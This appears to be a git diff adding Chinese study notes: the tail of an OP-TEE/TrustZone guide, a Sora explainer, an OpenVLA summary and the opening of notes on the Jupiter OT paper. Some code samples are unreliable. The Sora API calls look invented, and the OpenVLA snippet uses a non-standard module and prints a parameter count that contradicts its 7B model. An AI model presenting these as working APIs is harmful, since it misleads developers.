+### 4. GlobalPlatform 会话模型
+
+1. **TEEC_InitializeContext**：建立 CA 与 TEE 的逻辑连接
+2. **TEEC_OpenSession(uuid)**：针对某个 TA 打开会话（类似 TCP connect）
+3. **TEEC_InvokeCommand(session, cmd_id, operation)**：调用 TA 内具体功能
+4. **TEEC_CloseSession / TEEC_FinalizeContext**：释放资源
+
+Secure World 侧 TA 入口对称：`TA_CreateEntryPoint` → `TA_OpenSessionEntryPoint` → `TA_InvokeCommandEntryPoint` → `TA_CloseSessionEntryPoint` → `TA_DestroyEntryPoint`。
+
+### 5. 安全存储（Secure Storage）
+
+OP-TEE 提供两类后端（详见 Architecture → Secure Storage）：
+
+- **REE FS Secure Storage**：加密对象存 Normal World 文件系统（`tee-supplicant` 代读写），密钥由 **SSK/HUK** 派生，防 REE 直接读明文
+- **RPMB Secure Storage**：对象存 eMMC **Replay Protected Memory Block**，防回滚
+
+TA 侧 API 形如 `TEE_CreatePersistentObject` / `TEE_ReadObjectData`，对开发者屏蔽后端差异。
+
+### 6. tee-supplicant 为何必需
+
+TEE Core 在 Secure World **不应**直接挂载 ext4、发网络包。当 TA 需要"让 Rich OS 帮忙读一个文件"时，Core 通过 **RPC** 把请求发给 Normal World 的 **tee-supplicant**，由它完成文件 I/O 再把结果写回共享内存。没有 supplicant，REE FS 安全存储和部分插件功能无法工作。
+
+## 代码示例
+
+### 示例 1：Normal World CA — 打开会话并调用 TA 命令
+
+以下片段来自 `optee_examples` 的典型模式（如 `hello_world` / `aes`），展示 GlobalPlatform Client API 最小闭环：
+
+```c
+#include <tee_client_api.h>
+#include <stdio.h>
+#include <string.h>
+
+/* hello_world TA 的固定 UUID（示例） */
+static const TEEC_UUID ta_uuid = {
+    0x8aaaf200, 0x2450, 0x11e4,
+    { 0xab, 0xe2, 0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b }
+};
+
+#define TA_CMD_INC_VALUE 0
+
+int main(void)
+{
+    TEEC_Context ctx;
+    TEEC_Session sess;
+    TEEC_Operation op;
+    TEEC_Result res;
+    uint32_t err_origin;
+
+    res = TEEC_InitializeContext(NULL, &ctx);
+    if (res != TEEC_SUCCESS)
+        return 1;
+
+    res = TEEC_OpenSession(&ctx, &sess, &ta_uuid,
+                           TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin);
+    if (res != TEEC_SUCCESS) {
+        TEEC_FinalizeContext(&ctx);
+        return 1;
+    }
+
+    memset(&op, 0, sizeof(op));
+    op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_INOUT,
+                                     TEEC_NONE, TEEC_NONE, TEEC_NONE);
+    op.params[0].value.a = 42;
+
+    res = TEEC_InvokeCommand(&sess, TA_CMD_INC_VALUE, &op, &err_origin);
+    if (res == TEEC_SUCCESS)
+        printf("TA returned: %u\n", op.params[0].value.a);
+
+    TEEC_CloseSession(&sess);
+    TEEC_FinalizeContext(&ctx);
+    return (res == TEEC_SUCCESS) ? 0 : 1;
+}
+```
+
+**阅读要点**：
+
+- `TEEC_UUID`  globally 唯一标识一个 TA 二进制；Android 里 `gatekeeper`、`keymaster` 各有固定 UUID
+- `paramTypes` 用宏编码四个参数各自是 **value** 还是 **memref**、输入还是输出
+- `err_origin` 区分错误来自 TEE 客户端库、TEE Core 还是 TA 本身（GlobalPlatform 排错惯例）
+
+### 示例 2：Secure World TA — 处理 InvokeCommand
+
+User-mode TA 必须实现 GP 规定的入口函数；下面是与示例 1 配套的 TA 侧逻辑骨架：
+
+```c
+#include <tee_internal_api.h>
+#include <tee_internal_api_extensions.h>
+
+TEE_Result TA_CreateEntryPoint(void)
+{
+    return TEE_SUCCESS;
+}
+
+void TA_DestroyEntryPoint(void)
+{
+}
+
+TEE_Result TA_OpenSessionEntryPoint(uint32_t param_types,
+                                    TEE_Param params[4],
+                                    void **sess_ctx)
+{
+    (void)param_types;
+    (void)params;
+    (void)sess_ctx;
+    return TEE_SUCCESS;
+}
+
+void TA_CloseSessionEntryPoint(void *sess_ctx)
+{
+    (void)sess_ctx;
+}
+
+TEE_Result TA_InvokeCommandEntryPoint(void *sess_ctx,
+                                        uint32_t cmd_id,
+                                        uint32_t param_types,
+                                        TEE_Param params[4])
+{
+    (void)sess_ctx;
+
+    if (cmd_id != 0) /* TA_CMD_INC_VALUE */
+        return TEE_ERROR_BAD_PARAMETERS;
+
+    if (param_types != TEE_PARAM_TYPES(TEE_PARAM_TYPE_VALUE_INOUT,
+                                       TEE_PARAM_TYPE_NONE,
+                                       TEE_PARAM_TYPE_NONE,
+                                       TEE_PARAM_TYPE_NONE))
+        return TEE_ERROR_BAD_PARAMETERS;
+
+    params[0].value.a++;
+    return TEE_SUCCESS;
+}
+```
+
+**阅读要点**：
+
+- TA 链接 **libutee**，系统调用进入 OP-TEE Core；CA 永远不能直接调用这些符号
+- `TA_InvokeCommandEntryPoint` 里必须 **严格校验** `param_types`，否则 CA 传错类型会导致越界或信息泄露
+- 真实 TA 会在 `TA_CreateEntryPoint` 里初始化 crypto context，在 `TA_OpenSessionEntryPoint` 里做 access control
+
+### 示例 3：TA 内创建加密持久化对象（安全存储）
+
+```c
+#define OBJ_ID   ((void *)"my_secret_key_v1")
+#define OBJ_ID_LEN 16
+
+TEE_Result store_secret(const uint8_t *data, size_t len)
+{
+    TEE_ObjectHandle obj;
+    TEE_Result res;
+
+    res = TEE_CreatePersistentObject(TEE_STORAGE_PRIVATE,
+                                     OBJ_ID, OBJ_ID_LEN,
+                                     TEE_DATA_FLAG_ACCESS_READ |
+                                     TEE_DATA_FLAG_ACCESS_WRITE,
+                                     TEE_HANDLE_NULL,
+                                     data, len, &obj);
+    if (res != TEE_SUCCESS)
+        return res;
+
+    TEE_CloseObject(obj);
+    return TEE_SUCCESS;
+}
+```
+
+`TEE_STORAGE_PRIVATE` 表示对象仅本 TA 可访问；底层可能走 REE FS 或 RPMB，由平台配置决定。
+
+## 实践案例
+
+### 案例 1：Android KeyMint / Keymaster
+
+Android 把密钥生成、认证、密钥派生交给 Secure World TA。Framework 经 HIDL/AIDL 调到 vendor KeyMint 实现，底层常见 OP-TEE TA + 硬件 RoT（eFuse/HUK）。即使 Root 了 REE，私钥材料仍以加密对象形式存在 TEE 保护存储中。
+
+### 案例 2：QEMU + OP-TEE 本地实验
+
+官方 `build.git` 可构建：`qemu-system-aarch64` + TF-A + OP-TEE + BusyBox/Linux。启动后运行 `xtest` 验证 thousands 项 GP API 行为；再跑 `optee_example_hello_world` 观察 CA/TA 日志。这是零基础理解 SMC 路径最低成本方式。
+
+### 案例 3：Automotive 与安全启动
+
+车机 SoC 用 OP-TEE 配合 TF-A 验证下一级镜像、保管车辆身份密钥。Normal World 跑 IVI（信息娱乐系统），TA 持有 CAN 总线认证密钥——与手机模型同构，但 threat model 更强调长期供应链完整性。
+
+## 踩过的坑
+
+1. **忘记启动 tee-supplicant**：REE FS 存储、部分 RPC 全失败，xtest 大面积报错
+2. **共享内存未对齐/未注册**：CA 把栈上指针直接传给 TA，驱动拒绝或 TA 读 garbage
+3. **UUID 不匹配**：换了 TA 二进制但没更新 CA 头文件里的 UUID，OpenSession 返回 `TEEC_ERROR_ITEM_NOT_FOUND`
+4. **param_types 校验缺失**：TA 侧最常见漏洞类——恶意 CA 可混淆 in/out buffer
+5. **混淆 Pseudo-TA 与 User TA**：PTA 在内核里，调试方式与 `ta/` 目录下的 ELF TA 完全不同
+6. **只测 QEMU 不上真板**：TZASC、RPMB、eFuse HUK 等行为因 SoC 而异，移植时要读 Platform porting 文档
+
+## 适用 vs 不适用
+
+**适用**：
+
+- Arm TrustZone A-profile + Linux/Android 需要 GP 标准 TEE
+- 需要开源可审计的 TEE 参考实现、培训与原型验证
+- 密钥/生物特征/DRM/计量计费类 **小状态、高价值** 安全服务
+- 与 TF-A、U-Boot、AOSP 已有 OP-TEE 移植的 SoC
+
+**不适用**：
+
+- 无 TrustZone（或等价隔离）的 MCU——应看 Secure Element 或 **TrustZone for Armv8-M** 其他栈
+- x86 机密计算首选 SGX/TDX——OP-TEE 主要生态在 Arm
+- 需要极大算力 Secure 工作负载（大模型推理）——Secure World 内存与算力预算通常很小
+- 威胁模型仅防普通恶意 App、无需硬件隔离——Linux 进程沙箱 + Keystore 软件实现可能足够
+
+## 架构一图流
+
+```text
+┌──────────────────────────────────────────────────────────────┐
+│ Normal World (REE)                                            │
+│  App → CA (libteec) → /dev/tee0 → optee driver               │
+│  tee-supplicant ← RPC ← (文件/RPMB/插件)                        │
+└────────────────────────────┬─────────────────────────────────┘
+                             │ SMC + 共享内存
+                             ▼
+┌──────────────────────────────────────────────────────────────┐
+│ EL3 Secure Monitor (TF-A)                                     │
+└────────────────────────────┬─────────────────────────────────┘
+                             ▼
+┌──────────────────────────────────────────────────────────────┐
+│ Secure World — OP-TEE Core (EL1)                              │
+│  Crypto │ Storage │ Scheduler │ ldelf │ PTA (system, …)       │
+│       ┌─────────┴─────────┬─────────────┐                    │
+│       ▼                   ▼             ▼                    │
+│   Keymaster TA      Gatekeeper TA   Custom TA (UUID)         │
+└──────────────────────────────────────────────────────────────┘
+```
+
+## 与 TrustZone / SGX 对照
+
+| 维度 | OP-TEE + TrustZone | Intel SGX |
+|------|-------------------|-----------|
+| 隔离粒度 | Secure World 整区 + 多 TA | 每 enclave 页级 |
+| 标准接口 | GlobalPlatform TEE API | Intel SGX SDK |
+| Rich OS 态度 | 与 Linux 共生 | OS 仍管理 enclave 外资源 |
+| 开源参考 | optee_os 完整树 | SDK 开源，CPU 微码闭源 |
+| 典型部署 | 手机、IoT、车载 | 服务器、桌面机密计算 |
+
+## 延伸阅读
+
+- 官方文档：[OP-TEE Read the Docs](https://optee.readthedocs.io/en/latest/)
+- 架构索引：[Architecture](https://optee.readthedocs.io/en/latest/architecture/index.html)
+- GlobalPlatform API：[GlobalPlatform API](https://optee.readthedocs.io/en/latest/architecture/globalplatform_api.html)
+- 代码仓库：[optee_os](https://github.com/OP-TEE/optee_os)、[optee_examples](https://github.com/OP-TEE/optee_examples)
+- 本库相关：[[trustzone-arm-2009]]、[[ngabonziza-trustzone-2016]]、[[sgx-2013]]
+
+## 自测题
+
+1. CA 和 TA 分别运行在哪个 World、哪个特权级？
+2. 为什么 TEE 需要 tee-supplicant，而不是 Core 自己读 `/data/tee/` 文件？
+3. `TEEC_OpenSession` 与 `TEEC_InvokeCommand` 的职责划分是什么？
+4. REE FS 安全存储防的是 REE 里的什么攻击者？RPMB 额外防什么？
+
+**参考答案要点**：(1) CA 在 Normal World 用户态；User TA 在 Secure World 用户态，低于 OP-TEE Core；(2) 最小 TCB、Core 不实现完整文件系统、减少 Secure 侧攻击面；(3) OpenSession 建立到特定 UUID 的通道，InvokeCommand 在该通道上发 cmd_id；(4) REE FS 防 REE 窃读/篡改密文对象；RPMB 还防回滚（旧版本密文重放）。
diff --git a/src/content/docs/papers/openai-sora-2024.md b/src/content/docs/papers/openai-sora-2024.md
new file mode 100644
index 000000000..960cd9d9a
--- /dev/null
+++ b/src/content/docs/papers/openai-sora-2024.md
@@ -0,0 +1,319 @@
+---
+title: "Sora：从文字到视频的 AI 生成模型"
+来源: https://openai.com/sora
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Sora：从文字到视频的 AI 生成模型
+
+> "Sora" 在日语中是"天空"的意思，象征着它无限的创作潜力。
+
+---
+
+## 一、日常类比：给 AI 一本"世界说明书"
+
+想象一下，你有一本特别厚的书，叫"世界说明书"。这本书里记录了地球上所有的视频——海浪拍打沙滩、城市车流、小动物奔跑、风吹树叶摇曳……
+
+Sora 读过了数以百万计这样的视频。
+
+现在，你告诉 Sora："给我生成一段视频，内容是一只橘猫在窗台上晒太阳打呼噜。"
+
+Sora 会：
+
+1. 在脑子里翻找它之前读过的所有视频
+2. 提取出"猫""阳光""窗台""慵懒"这些概念是怎么在画面里表现的
+3. 然后把它们组合起来，一段一段地"画"出一个视频
+
+这和以前的 AI 有什么不同？
+
+- **以前的图像 AI（如 DALL-E）**：只画一张照片。就像给你一张静态截图。
+- **Sora 生成的视频**：是一张"会动的照片"，有画面、有时间流动、有物理规律。
+
+---
+
+## 二、核心概念拆解
+
+### 2.1 Transformer 架构
+
+你可能听说过 GPT 模型用的 Transformer 架构。Sora 也用了类似的架构，但做了一些关键改造：
+
+**GPT 读文字**：把文字切成小块（token），按顺序处理，预测下一个词。
+
+**Sora 处理视频**：把视频切成一块块的"时空方块"，然后预测这些方块应该怎么组合起来才是流畅的画面。
+
+```
+视频 = 多张图片在时间上排列
+
+每张图片 = 2D 的空间（宽 x 高）
+加上时间维度 = 3D 的"时空立方体"
+
+Sora 做的事：学习这个 3D 立方体的规律
+```
+
+### 2.2 潜空间（Latent Space）
+
+直接处理原始像素太慢了，就像让你一个字一个字地读一本 1000 页的书。
+
+Sora 用的是"潜空间"：先把视频压缩成一个更紧凑的表示（类似把一本厚书总结成一页提纲），然后在压缩后的空间里做计算，最后再"展开"回完整的视频。
+
+```
+原始视频 → 压缩到潜空间（变小、变快）→ AI 在潜空间里生成 → 展开回视频
+     ↓                                        ↓
+   几 GB 的文件                        几 MB 的紧凑表示
+```
+
+这个压缩器叫 **VAE（Variational Autoencoder，变分自编码器）**，展开它的叫 **视频解压器**。
+
+### 2.3 去噪扩散模型（Denoising Diffusion）
+
+这是 Sora 生成视频的核心魔法。
+
+想象一幅画被墨汁一点一点地弄脏：
+
+```
+清晰的视频 → 逐步加噪声（加雪花点） → 变成一团杂讯
+    ↑                                          ↓
+    └────── Sora 学习"反过来"的过程 ←─────
+```
+
+训练时，Sora 学习的是：**如果我知道一团杂讯，我能不能把它"净化"回清晰的画面？**
+
+一旦学会了这个"净化"能力，你就可以给它一段文字描述，让它从杂讯中慢慢生成你描述的画面。
+
+---
+
+## 三、Sora 的技术架构
+
+```
+┌──────────────────────────────────────────────────┐
+│                  Sora 工作流程                      │
+├──────────────────────────────────────────────────┤
+│                                                  │
+│  1. 文字输入 (Prompt)                             │
+│       ↓                                          │
+│  2. 文字编码 (CLIP 或类似模型)                     │
+│       ↓                                          │
+│  3. 文字信息注入到 Transformer                     │
+│       ↓                                          │
+│  4. Transformer 处理时空数据                       │
+│       ↓                                          │
+│  5. 去噪扩散过程（多步迭代）                        │
+│       ↓                                          │
+│  6. 潜空间解码 → 输出视频                          │
+│                                                  │
+└──────────────────────────────────────────────────┘
+```
+
+关键组件：
+
+- **扩散 Transformer（DiT）**：Sora 的核心网络，是 Transformer 和扩散模型的结合体
+- **3D 补丁（3D Patches）**：把视频切成立方体块来处理，同时捕获空间和时间的信息
+- **重注释（Recaptioning）**：用视频转文字模型为训练数据自动生成更详细的描述，增强训练
+
+---
+
+## 四、代码示例
+
+### 示例 1：使用 OpenAI API 生成视频（伪代码）
+
+这是你调用 Sora 生成视频的基本方式：
+
+```python
+import openai
+
+client = openai.OpenAI()
+
+# 生成一个视频
+video = client.video.create(
+    model="sora-1",
+    prompt="一只橘猫在午后阳光充足的窗台上打呼噜，\
+            窗外是城市的天际线，\
+            4K 画质，电影感的景深效果",
+    size="1280x720",
+    n=1,          # 生成 1 个视频
+    seconds=10    # 视频长度 10 秒
+)
+
+# 获取视频 URL
+video_url = video.data[0].url
+print(f"视频生成完成，下载地址：{video_url}")
+```
+
+要点：
+- `model`：指定使用哪个 Sora 模型版本
+- `prompt`：用自然语言描述你想要的视频内容
+- `size`：输出分辨率
+- `seconds`：视频时长（Sora 1 支持最长 60 秒）
+
+---
+
+### 示例 2：使用 API 进行视频编辑/扩展
+
+Sora 不仅能生成新视频，还能在已有视频基础上做修改：
+
+```python
+import openai
+
+client = openai.OpenAI()
+
+# 扩展一个已有视频的后续画面
+extended_video = client.video.extend(
+    model="sora-1",
+    video_url="https://example.com/existing_video.mp4",
+    prompt="继续：小猫从窗台上跳下来，走到花园里追蝴蝶",
+    seconds=10
+)
+
+# 提升视频分辨率
+enhanced_video = client.video.enhance(
+    model="sora-1",
+    video_url="https://example.com/low_res_video.mp4",
+    resolution="4K"
+)
+
+print(f"扩展视频：{extended_video.data[0].url}")
+print(f"增强视频：{enhanced_video.data[0].url}")
+```
+
+---
+
+### 示例 3：批量生成与参数控制
+
+实际使用时，你可能需要一次性生成多个版本再挑选：
+
+```python
+import openai
+import asyncio
+
+client = openai.OpenAI()
+
+async def generate_video_variations(prompt, num_variations=5):
+    """
+    批量生成同一提示词的不同视频变体
+    """
+    tasks = []
+    for i in range(num_variations):
+        task = client.video.create(
+            model="sora-1",
+            prompt=prompt,
+            size="1920x1080",
+            n=1,
+            seconds=10,
+            # seed 用来控制随机性
+            # 相同 seed 会得到相同结果
+            seed=i * 1000
+        )
+        tasks.append(task)
+
+    results = await asyncio.gather(*tasks)
+
+    for i, result in enumerate(results):
+        print(f"变体 {i+1}: {result.data[0].url}")
+
+    return results
+
+# 使用示例
+prompt = "无人机视角：秋天的京都，金黄的枫叶铺满小路，\
+          远处是古老的寺庙，薄雾缭绕"
+
+# 注意：异步需要 async def 包裹
+# generate_video_variations(prompt)
+```
+
+---
+
+### 示例 4：从图片生成视频（图生视频）
+
+Sora 也可以从一张静态图片出发，让它"动起来"：
+
+```python
+import openai
+
+client = openai.OpenAI()
+
+# 从一张图片生成视频
+image_to_video = client.video.create_from_image(
+    model="sora-1",
+    image_url="https://example.com/placeholder_image.jpg",
+    prompt="让图片中的海浪缓缓流动，云层缓慢移动，\
+            海鸥在天空中盘旋",
+    size="1280x720",
+    seconds=10
+)
+
+print(f"视频 URL: {image_to_video.data[0].url}")
+```
+
+---
+
+## 五、Sora 的能力与局限
+
+### 它能做什么
+
+- 生成长达 1 分钟的 720p 视频
+- 理解复杂的场景描述（多对象、多动作、空间关系）
+- 自动产生不同镜头角度，无需手动指定
+- 从图片出发让静态画面动起来
+- 生成逼真的人像、动物、自然环境
+
+### 它的局限
+
+- 对物理规律的理解有限（比如水的流动、物体碰撞不够精确）
+- 不理解因果关系
+- 区分左右容易出错
+- 人物面部近距离特写时可能出现不自然
+- 生成成本极高（据报道每天约 100 万美元）
+
+---
+
+## 六、Sora 的发展时间线
+
+| 时间 | 事件 |
+|------|------|
+| 2024 年 2 月 | OpenAI 首次公开演示 Sora |
+| 2024 年 12 月 | Sora 面向 ChatGPT Plus/Pro 用户开放 |
+| 2025 年 9 月 | Sora 2 发布，推出 iOS/Android 应用，类似 TikTok |
+| 2025 年 12 月 | 迪士尼投资 10 亿美元，开放 200+ 版权角色生成 |
+| 2026 年 4 月 | Sora 应用停止运营 |
+| 2026 年 9 月 | Sora API 计划停止服务 |
+
+Sora 作为一个独立产品的生命周期相对短暂。据媒体报道，关停原因与计算资源紧张、成本压力以及 OpenAI 向企业级产品转型有关。
+
+---
+
+## 七、与其他模型的对比
+
+| 模型 | 公司 | 最长时长 | 特色 |
+|------|------|---------|------|
+| Sora 2 | OpenAI | ~1 分钟 | 潜空间扩散 Transformer 架构 |
+| Veo | Google | ~60 秒 | 多镜头、电影语法 |
+| Gen-3 | Runway | ~1 分钟 | 创意控制能力强 |
+| Kling 3.0 | KlingAI | ~2 分钟 | 长视频生成 |
+| Seedance 2.0 | 字节跳动 | ~1 分钟 | 高质量物理模拟 |
+
+---
+
+## 八、关键收获总结
+
+1. **Sora 的本质**：是一个"世界模拟器"——它通过学习视频中的物理规律和场景逻辑，能够生成现实中可能发生的画面
+2. **技术核心**：扩散模型 + Transformer + 潜空间压缩 = 高效的视频生成管道
+3. **与普通 LLM 的区别**：GPT 处理的是 1D 的文本序列，Sora 处理的是 3D 的时空数据
+4. **实际价值**：大幅降低了视频创作门槛，让不懂拍摄的人也能生成高质量片段
+5. **行业影响**：Sora 的生命周期也提醒我们，AI 领域发展极快，今天的产品可能明天就会被淘汰或整合
+
+---
+
+## 九、思考题
+
+> 读完这篇笔记后，试着思考：
+
+1. 如果 Sora 能完美模拟物理规律，它和真正的"现实"还有什么区别？
+2. 当每个人都能生成逼真的视频时，我们如何分辨什么是真实拍摄的？
+3. 从 DALL-E（文字→图片）到 Sora（文字→视频），你觉得下一个突破会是什么？
+
+---
+
+*笔记来源：OpenAI 官方文档与公开技术报告。本文旨在学习记录，仅供个人学习使用。*
diff --git a/src/content/docs/papers/openvla-2024.md b/src/content/docs/papers/openvla-2024.md
new file mode 100644
index 000000000..b046dff41
--- /dev/null
+++ b/src/content/docs/papers/openvla-2024.md
@@ -0,0 +1,146 @@
+---
+title: OpenVLA: An Open-Source Vision-Language-Action Model
+来源: https://arxiv.org/abs/2406.09246
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: pipeline-v3
+---
+
+# OpenVLA：开源视觉-语言-动作模型
+
+## 一、从日常类比开始
+
+想象一下：你教一个机器人做家务。传统做法是——你写一段代码，告诉它"先移动到坐标(1,2)，然后夹住杯子，再移动到(3,4)"。如果杯子位置稍微偏了一点，机器人就失败了。
+
+OpenVLA 的思路完全不同。它不像一个"按指令执行"的工人，而像一个"看过很多视频后学会做家务"的人。你给它看一张厨房的照片，说"把鸡蛋放进锅里"，它就能根据画面里的东西，自己推断出该怎么动手。
+
+这就是 OpenVLA 的核心：**它同时"看"（视觉）、"想"（语言理解）、"动"（生成动作），三者合为一体。**
+
+## 二、核心概念
+
+### 2.1 什么是 VLA？
+
+VLA 全称 **Vision-Language-Action**，是一个能同时处理三种信息的模型：
+
+| 模态 | 输入/输出 | 类比 |
+|------|-----------|------|
+| 视觉 (Vision) | 摄像头照片 | 眼睛 |
+| 语言 (Language) | 文字指令如"把杯子放桌上" | 大脑理解 |
+| 动作 (Action) | 机械臂的关节角度、速度 | 手脚 |
+
+传统机器人系统里，这三者是分开的模块。OpenVLA 把它们**统一在一个大模型内部**。
+
+### 2.2 OpenVLA 的三大组件
+
+OpenVLA 参数量 70 亿（7B），由三部分组成：
+
+1. **融合视觉编码器**：同时使用 DINOv2 和 SigLIP 两个预训练视觉模型的输出，把图片变成机器可读的特征向量。
+2. **投影层（Projector）**：把视觉特征映射到语言模型能理解的"空间"。
+3. **Llama 2 7B 语言模型**：接收视觉特征 + 文字指令，输出 tokenized 的动作序列。
+
+```
+[摄像头图像] --> [DINOv2 + SigLIP] --> [特征向量]
+                                      ↓
+[文字指令] ----------------------------------> [Llama 2 7B] --> [动作指令]
+                                      ↑
+                              [投影层把视觉特征转进来]
+```
+
+### 2.3 为什么"开源"很重要？
+
+在 OpenVLA 之前，类似能力的模型（如 Google 的 RT-2）都是闭源的——只有 Google 能用。OpenVLA 的做法是：
+
+- 模型权重开源（HuggingFace 可下载）
+- 训练代码开源（PyTorch）
+- 微调 notebook 开源
+- 支持在消费级 GPU 上微调（用 LoRA 技术）
+
+这意味着任何人——学生、小团队、初创公司——都能在自己的机器人上跑这套系统。
+
+### 2.4 Open X-Embodiment 数据集
+
+OpenVLA 在 **97 万条真实机器人演示数据**上预训练，这些数据来自 Open X-Embodiment 项目，涵盖了多种机器人形态（WidowX、Franka、Google Robot 等）、多种任务（抓取、放置、倾倒等）和多种场景。
+
+## 三、代码示例
+
+### 3.1 加载 OpenVLA 并推理
+
+```python
+import torch
+from openvla import OpenVLAModel
+
+# 从 HuggingFace 加载预训练模型
+model = OpenVLAModel.from_pretrained("openvla/openvla-7b")
+
+# 准备输入：一张图片和一条文字指令
+image = load_image("kitchen_scene.jpg")  # 你的摄像头拍到的厨房画面
+instruction = "把鸡蛋放进锅里"
+
+# 推理：模型输出动作
+actions = model.generate(
+    image=image,
+    prompt=instruction,
+    max_new_tokens=100
+)
+
+# actions 是一个连续的向量，代表机械臂各关节的目标位置和速度
+# 可以直接发送给机器人执行
+robot.execute(actions)
+```
+
+这段代码的关键在于：**你不需要为每个新任务写代码**。只要模型在预训练时见过类似场景，它就能泛化。
+
+### 3.2 用 LoRA 微调 OpenVLA 到新任务
+
+```python
+from peft import LoraConfig, get_peft_model
+
+# 配置 LoRA：只微调 1.4% 的参数
+lora_config = LoraConfig(
+    r=16,                    # 低秩维度
+    target_modules=["q_proj", "v_proj"],  # 只对 attention 的 Q/V 矩阵加 LoRA
+    lora_alpha=32,
+    lora_dropout=0.1,
+)
+
+# 给模型加上 LoRA 层
+model = get_peft_model(model, lora_config)
+print(model.print_trainable_parameters())
+# 输出: trainable params: 9,830,400 || all params: 696,796,160 || trainable: 1.41%
+
+# 准备微调数据：你的机器人收集的新演示
+dataset = load_franka_dataset("pour_corn_into_pot")
+
+# 训练：在单个消费级 GPU 上就能跑
+trainer = Trainer(model=model, train_dataset=dataset)
+trainer.train()
+
+# 保存微调后的模型
+model.save_pretrained("./openvla-pour-corn")
+```
+
+这里 LoRA 的作用就像给一个已经大学毕业的人做"短期培训班"——不需要重新上学（全量微调），只需要针对新技能做少量调整。
+
+## 四、性能亮点
+
+OpenVLA 在多项基准测试中表现突出：
+
+- **泛化能力**：在 29 个任务上，比闭源的 RT-2-X（550 亿参数）高出 16.5% 绝对成功率，但参数只有它的七分之一。
+- **语言理解**：能听懂从未见过的指令，比如"把红色辣椒拿起来"——即使训练数据里没有完全一样的描述。
+- **多对象场景**：当场景中有很多干扰物体时，OpenVLA 仍能找到正确的目标。
+- **容错恢复**：有时抓错了，它能意识到并重新尝试。
+
+## 五、局限性
+
+OpenVLA 也有不足：
+
+- 对于涉及互联网常识的任务（如"把可乐放到泰勒·斯威夫特海报旁边"），不如 RT-2-X，因为 RT-2 用了更大规模的互联网数据预训练。
+- 在单一任务的精确控制上，从头训练的 Diffusion Policy 可能更强。
+- 推理速度受限于 7B 参数模型的计算量。
+
+## 六、总结
+
+OpenVLA 的意义不在于某个单项指标第一，而在于它证明了一件事：**一个大模型可以同时学会多种机器人的操作技能，并且开源给全世界使用。** 这就像开源了一个"机器人通用大脑"的雏形。
+
+对于学习者来说，OpenVLA 是理解"大模型如何走出屏幕、进入物理世界"的最佳入口之一。
diff --git a/src/content/docs/papers/operational-transform-jupiter-1995.md b/src/content/docs/papers/operational-transform-jupiter-1995.md
new file mode 100644
index 000000000..728b19841
--- /dev/null
+++ b/src/content/docs/papers/operational-transform-jupiter-1995.md
@@ -0,0 +1,331 @@
+---
+title: High-Latency, Low-Bandwidth Windowing in the Jupiter Collaboration System — 零基础学习笔记
+来源: https://dl.acm.org/doi/10.1145/215585.215706
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：卫星电话时代的共享白板
+
+想象你和同事隔着半个地球，用**很慢的卫星链路**一起改同一块电子白板：拖一下滑块要 300 毫秒对方才看见，拨号上网时更糟。
+
+最笨的做法像老式 **X11 远程桌面**：你每动一下鼠标、每敲一个键，都要把原始事件发到服务器，等回包再画——像隔着卫星电话**逐字报坐标**，带宽和往返次数都吃不消。
+
+Jupiter（1995，Xerox PARC）换了一种思路，像**共享一份「智能表单」**：
+
+- 你们改的不是像素，而是**滑块数值、文本段落、按钮状态**这类「控件级」消息；
+- 你一动滑块，**本地立刻更新**（乐观并发），不用等服务器点头；
+- 若你和服务器同时改了同一控件，双方用 **`xform` 变换函数**把冲突操作「改写成能合到一起的版本」——像两个人同时删文档里不同位置的字母，系统自动把「删第 4 个」改成「删第 3 个」，最后都看到 `ACE`。
+
+论文全名 *[High-Latency, Low-Bandwidth Windowing in the Jupiter Collaboration System](https://dl.acm.org/doi/10.1145/215585.215706)*（UIST 1995，Nichols / Curtis / Dixon / Lamping）。它既是早期 **CSCW 虚拟世界** 的工程报告，也是 **OT（操作变换）工业化** 的关键一步：把 Ellis & Gibbs 的分布式 dOPT 简化成 **client ↔ 中心 server** 的两方同步，再由此扩展到 N 人共享控件。Google Wave、后来的协同编辑路线都直接或间接继承这套思想。
+
+## 是什么
+
+**Jupiter** 是一个多用户、多媒体的**持久化虚拟世界**（运行在 LambdaMOO 服务器上），支持：
+
+- 共享文档与工具（白板 `StrokeEdit`、富文本 `TextEdit`、滑块 `Numeric` 等）；
+- 可选的音视频（`VideoPane`）；
+- 用户用内部脚本语言扩展新工具，**默认控件就是多人共享的**。
+
+本篇论文聚焦**窗口工具包底层的 client-server 通信**：如何在**高延迟、低带宽**链路上，仍让用户感觉「跟本地软件一样跟手」。
+
+核心设计选择可以概括成一张表：
+
+| 维度 | Jupiter 的选择 | 带来的效果 |
+|------|----------------|------------|
+| 通信抽象 | 高层 **widget 状态**，不是键盘/鼠标原语 | 消息少、往返少 |
+| 并发模型 | **乐观**：本地先应用，再通知对方 | 不等 RTT，交互跟手 |
+| 拓扑 | **中心化 server** 存世界状态、跑应用代码 | 序列化简单，易做 N 路广播 |
+| 冲突解决 | 源自 dOPT 的 **OT + `xform`** | 两方路径最终收敛到同一控件值 |
+| 客户端 | Tcl/Tk、Windows 等，只管 I/O | 平台无关 |
+
+一句话：**Jupiter = 高层共享控件 + 乐观 OT + 中心 server 串行广播**，专为「慢网」上的协同 UI 而生。
+
+## 为什么重要
+
+不懂这篇论文，很难解释下面几件事：
+
+1. **为什么 Google Docs 可以「边打字边同步」而不锁文档？** —— 工业 OT 几乎都走 Jupiter 式 **client-server 变换**，不是 1989 年原版对等 dOPT。
+2. **为什么远程协作不直接流式传输 X11？** —— 逐事件协议在慢网上会饿死；Jupiter 用 **widget 级增量**（如 `Replace` 一段文本）换带宽。
+3. **OT 和 CRDT 的分叉点在哪？** —— Jupiter/OT 依赖**变换函数**和中心序列化；[[yjs-crdt-overview]] 等 CRDT 路线用数学可合并结构，更适合 P2P / 离线。两条路从 90 年代就并存。
+4. **「两个计数器」为什么够用？** —— 每个 client 只跟 server 同步，用 `(myMsgs, otherMsgs)` 标记在状态格里的位置，不必维护 N 维状态向量。
+
